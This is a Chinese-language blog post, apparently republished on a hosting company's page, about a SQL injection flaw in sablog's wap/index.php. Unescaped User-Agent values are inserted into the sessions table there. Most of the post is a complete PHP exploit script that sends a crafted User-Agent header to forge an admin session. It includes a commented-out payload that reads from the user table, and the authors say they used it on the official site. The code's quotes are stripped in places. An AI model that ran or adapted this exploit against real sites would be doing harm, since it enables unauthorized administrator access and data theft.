php5 特性漏洞

利用是PHP5,是因為_SERVER的變量不受引號的限制,即便是開啟了轉義
漏洞出在User-Agent
第二:insert into的多個數(shù)據(jù)插入
文中構造的地方就是
insert INTO {$db_prefix}sessions (hash,uid,groupid,ipaddress,agent,lastactivity) VALUES ($hash, ".$user[userid].", ".$user[groupid].", $iprand,,1),(9c5b71e5,1,1,211.43.206.202,9989581653, $timestamp);
MYSQL支持
insert into [admin] (name,pass) values (qq,bb),(aa,cc)
這樣的數(shù)據(jù)插入.
sablog是國內安全研究人員寫的一款blog程序,但是代碼中有一點瑕疵導致可能被獲取管理員權限:)
問題出在wap/index.php里的652行左右
------------
      $hash = getuserhash($user[userid], $user[username], $user[password], $user[logincount]+1);
      $DB->query("delete FROM {$db_prefix}sessions where uid=".$user[userid]." OR lastactivity+3600<$timestamp OR hash=$hash");
      $DB->query("insert INTO {$db_prefix}sessions (hash,uid,groupid,ipaddress,agent,lastactivity) VALUES ($hash, ".$user[userid].", ".$user[groupid].", $onlineip, ".$_SERVER[HTTP_USER_AGENT].", $timestamp)");
-------------
注意_SERVER變量是直接入庫的,存在一個insert類型的注射,我們通過這個漏洞測試過了官方,順利拿到了所有權限,呵呵.
這個地方要求是php5的,作者一時疏忽吧,貼出我們當時使用的exp
<?php
//from loveshell.net
$url = $argv[1]./wap/index.php;
$username = $argv[2];
$password = $argv[3];

echo"  +----------------------------------------------------------------+\r\n";
echo"      Uage: php.exe blogurl username password\r\n";
echo"      example  php.exe http://web.archive.org/web/20071217143209/http://www.loveshell.net/blog test test\r\n";
echo"  +----------------------------------------------------------------+\r\n";

if(!$username||!$password) die;
echo"  [email=root@localhost:Post]root@localhost:Post[/email] our content\r\n";
$str = username=.$username.&password=.$password.&action=login&do=login&;
$msg = myrequest($str,$url);
echo $msg;
if(strpos($msg,登陸成功)!==false) echo"  [email=root@localhost:All]root@localhost:All[/email] Done!!! \r\n";
else echo"  [email=root@localhost:Login]root@localhost:Login[/email] error!!! \r\n";
echo"  +----------------------------------------------------------------+\r\n";
echo"  Enjoy yourself.\r\n";
echo"  +----------------------------------------------------------------+\r\n";

function myrequest($msg,$url,$type=2,$cookie=){
//change type for post/get
  global $sql;
$urls = initurl($url);
$iprand = rand(1,255)...rand(1,255)...rand(1,255)...rand(1,255);
$fp = @fsockopen($urls[host], $urls[port], $errno, $errstr, 3);
  if($fp) {
    if($type==1){
      fputs($fp, "GET $urls[path]?$urls[query] HTTP/1.1\r\n");
      fputs($fp, "Host: $urls[host]\r\n");
      fputs($fp, "Accept: */*\r\n");
      fputs($fp, "Referer: $urls[url]\r\n");
      fputs($fp, "User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)\r\n");
      fputs($fp, "CLIENT_IP: $iprand\r\n");
      fputs($fp, "X_FORWARDED-FOR: $iprand\r\n");
      fputs($fp, "Pragma: no-cache\r\n");
      fputs($fp, "Cache-Control: no-cache\r\n");
      fputs($fp, "Connection: Keep-Alive\r\n");
      fputs($fp, "Cookie: $cookie\r\n\r\n");
    }else{
      fputs($fp, "POST $urls[path]?$urls[query] HTTP/1.1\r\n");
      fputs($fp, "Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n");
      fputs($fp, "Referer: $urls[url]\r\n");
      fputs($fp, "Accept-Language: zh-cn\r\n");
      fputs($fp, "Content-Type: application/x-www-form-urlencoded\r\n");
//      fputs($fp, "User-Agent: ,1),((select concat(0x2f,groupid,0x2f,logincount) from angel_users limit 1),1,1,211.43.206.208,123\r\n");
      fputs($fp, "User-Agent: ,1),(9c5b71e5,1,1,211.43.206.202,9989581653\r\n");
      fputs($fp, "CLIENT_IP: $iprand\r\n");
      fputs($fp, "X_FORWARDED-FOR: $iprand\r\n");
      fputs($fp, "Host: $urls[host]\r\n");
      fputs($fp, "Content-Length: ".strlen($msg)."\r\n");
      fputs($fp, "Connection: Keep-Alive\r\n");
      fputs($fp, "Cache-Control: no-cache\r\n");
      fputs($fp, "Cookie: $cookie\r\n\r\n");
      fputs($fp, $msg."\r\n");
    }
  }

while($fp&&!feof($fp)) {
$resp .= fread($fp,1024);
}
return $resp;
}

function initurl($url) {
$newurl = ;
$blanks = array(url=>);
$urls = $blanks;

if(strlen($url)<10) return $blanks;
$urls = @parse_url($url);
if(empty($urls) || !is_array($urls)) return $blanks;
if(empty($urls[scheme])) return $blanks;
if($urls[scheme] == file) return $blanks;
$newurl .= $urls[scheme].://;
$newurl .= empty($urls[user])?:$urls[user];
$newurl .= empty($urls[pass])?::.$urls[pass];
$newurl .= empty($urls[host])?:((!empty($urls[user]) || !empty($urls[pass]))?@:).$urls[host];
$newurl .= empty($urls[port])?::.$urls[port];
$newurl .= empty($urls[path])?:$urls[path];
$newurl .= empty($urls[query])?:?.$urls[query];
$newurl .= empty($urls[fragment])?:#.$urls[fragment];
$urls[port] = empty($urls[port])?80:$urls[port];
$urls[url] = $newurl;

return $urls;
}
?>

這次還是比較有意思的,起碼有以前沒有出現(xiàn)過的知識點在3個以上,另外sablog的加密認證方式很薄弱,加上這個注射可以進后臺的,作者需要改下哦.怕出問題的用戶把wap禁用吧,exp的含義我就不分析了,仔細分析的話會有很有意思的東西哦.....

億恩科技地址(ADD)：鄭州市黃河路129號天一大廈608室 郵編(ZIP)：450008 傳真(FAX)：0371-60123888
   聯(lián)系：億恩小凡
   QQ：89317007
   電話:0371-63322206

服務器租用/服務器托管中國五強！虛擬主機域名注冊頂級提供商！15年品質保障！--億恩科技[ENKJ.COM]